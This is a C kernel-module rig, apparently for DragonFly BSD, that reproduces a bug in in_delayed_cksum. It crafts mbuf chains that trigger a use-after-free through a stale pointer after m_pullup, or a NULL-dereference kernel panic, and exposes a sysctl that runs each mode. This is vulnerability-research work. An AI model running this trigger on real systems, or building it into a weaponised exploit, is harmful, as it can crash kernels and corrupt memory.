DF-2565 / rig.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 | /* * DF-2565 rig -- in_delayed_cksum (ip_output.c:930-952): * (a) m_pullup() return never NULL-checked before * `*(u_short *)(m->m_data + offset) = csum` at :951 * (b) m is taken BY VALUE -- callers (ip_output:641, ip_fragment:802, * ip_mloopback) keep the stale pointer when m_pullup reallocates * the head. * * Verbatim: in_delayed_cksum extracted from ip_output.c (gen.sh). * mode 0: split-header chain -> m_pullup CONSOLIDATES (new head, old head * freed) -> verbatim writes checksum into the NEW mbuf; the rig * (as any caller) still holds the OLD pointer -> use-after-free. * mode 1: control, contiguous header -> no realloc, no UAF. * mode 2: NULL-return (offset beyond chain length) -> verbatim NULL deref * (PANIC -- run last). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/mbuf.h> #define _IP_VHL #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_var.h> static void dfv2565_in_delayed_cksum(struct mbuf *m); /* in_cksum_skip is provided by libkern/in_cksum (loaded with the in_cksum * module, absent on this guest); local equivalent for the rig -- only the * final store matters for the UAF/NULL demo */ static u_short in_cksum_skip(struct mbuf *m, int len, int skip); #define in_cksum_skip_real in_cksum_skip /* ---- VERBATIM body of in_delayed_cksum from ip_output.c:928-952 ---- */ #include "dfv2565_extract.h" #undef in_cksum_skip static u_short in_cksum_skip(struct mbuf *m, int len, int skip) { /* deterministic stand-in checksum */ return (0xCAFE); } static char df_status[4096]; static struct mbuf * mkchain(int split, int csum_off) { struct mbuf *m, *m2; struct ip *ip; int iphl = 20; m = m_gethdr(M_WAITOK, MT_DATA); m->m_pkthdr.len = iphl + 20 + (split ? 0 : 20); m->m_len = iphl; ip = mtod(m, struct ip *); memset(ip, 0, iphl); ip->ip_vhl = (4 << 4) | 5; ip->ip_len = htons(m->m_pkthdr.len); ip->ip_p = 6; /* TCP */ m->m_pkthdr.csum_flags = CSUM_TCP; m->m_pkthdr.csum_data = csum_off; /* checksum offset */ if (split) { /* cluster head with ZERO leading space forces m_pullup's * allocate-new-head branch (uipc_mbuf.c m_pullup else-arm) */ MCLGET(m, M_WAITOK); if ((m->m_flags & M_EXT) == 0) { ksnprintf(df_status, sizeof(df_status), "DF2565: MCLGET failed"); return (NULL); } m->m_data = m->m_ext.ext_buf; m->m_len = iphl; memset(mtod(m, caddr_t), 0, iphl); ip = mtod(m, struct ip *); ip->ip_vhl = (4 << 4) | 5; ip->ip_len = htons(m->m_pkthdr.len); ip->ip_p = 6; m2 = m_get(M_WAITOK, MT_DATA); m2->m_len = 20; memset(mtod(m2, caddr_t), 0x42, 20); m->m_next = m2; /* checksum field NOT in first mbuf */ } else { memset(mtod(m, caddr_t) + iphl, 0x42, 20); m->m_len = iphl + 20; } return (m); } static void df_run2565(int mode) { struct mbuf *m, *m_stale; char *p = df_status; int t = 0; u_short *ckloc; if (mode == 0) m = mkchain(1, 16); /* split: th_sum beyond head */ else if (mode == 1) m = mkchain(0, 16); /* contiguous control */ else { m = mkchain(1, 16); if (m) m->m_pkthdr.csum_data = 0x1000; /* pullup beyond chain */ } if (m == NULL) return; m_stale = m; ckloc = (u_short *)(mtod(m, caddr_t) + 20 + 16); t += ksnprintf(p + t, sizeof(df_status) - t, "DF2565[mode=%d]: m=%p head m_len=%d\n", mode, m, m->m_len); /* the caller hands its ONLY pointer to the verbatim function */ dfv2565_in_delayed_cksum(m); if (mode == 2) { /* if we get here, no NULL deref happened */ t += ksnprintf(p + t, sizeof(df_status) - t, "DF2565: survived (unexpected -- NULL deref expected)\n"); return; } /* CALLER continues using its stale pointer, as ip_output does */ t += ksnprintf(p + t, sizeof(df_status) - t, "DF2565: after call, caller's (possibly stale) m=%p m_len=%d " "m_type=%d\n", m_stale, m_stale->m_len, m_stale->m_type); /* prove reallocation: allocate a new mbuf -- with LIFO reuse it * typically lands exactly on the freed old head */ { struct mbuf *probe = m_get(M_WAITOK, MT_DATA); t += ksnprintf(p + t, sizeof(df_status) - t, "DF2565: fresh m_get -> %p %s the stale pointer\n", probe, probe == m_stale ? "== (freed slot REUSED: caller's " "pointer now aliases a foreign mbuf)" : "!="); m_freem(probe); } t += ksnprintf(p + t, sizeof(df_status) - t, "DF2565: RESULT=%s\n", mode == 0 ? "split-header input drove m_pullup reallocation inside " "in_delayed_cksum; the caller-held pointer was not updated " "(use-after-free for every caller at ip_output.c:641/802, " "ip_mloopback)" : "contiguous control: no reallocation"); if (mode == 0) m_freem(m_stale->m_next ? m_stale : m_stale); /* best-effort */ } static int dfv2565_sysctl(SYSCTL_HANDLER_ARGS) { char out[4096]; int error, v = 0; if (req->newptr != NULL) { error = sysctl_handle_int(oidp, &v, 0, req); if (error) return error; df_status[0] = 0; switch (v) { case 0: df_run2565(0); break; case 1: df_run2565(1); break; case 2: df_run2565(2); break; default: return EINVAL; } return 0; } ksnprintf(out, sizeof(out), "%s", df_status); return SYSCTL_OUT(req, out, strlen(out) + 1); } SYSCTL_PROC(_kern, OID_AUTO, dfv2565_run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfv2565_sysctl, "I", "dfv2565"); SYSCTL_PROC(_kern, OID_AUTO, dfv2565_status, CTLTYPE_STRING | CTLFLAG_RD, 0, 0, dfv2565_sysctl, "A", "dfv2565 status"); static int dfv2565_load(module_t mod, int what, void *arg) { switch (what) { case MOD_LOAD: kprintf("dfv2565: loaded\n"); return 0; default: return 0; } } static moduledata_t dfv2565_mod = { "dfv2565", dfv2565_load, NULL }; DECLARE_MODULE(dfv2565, dfv2565_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |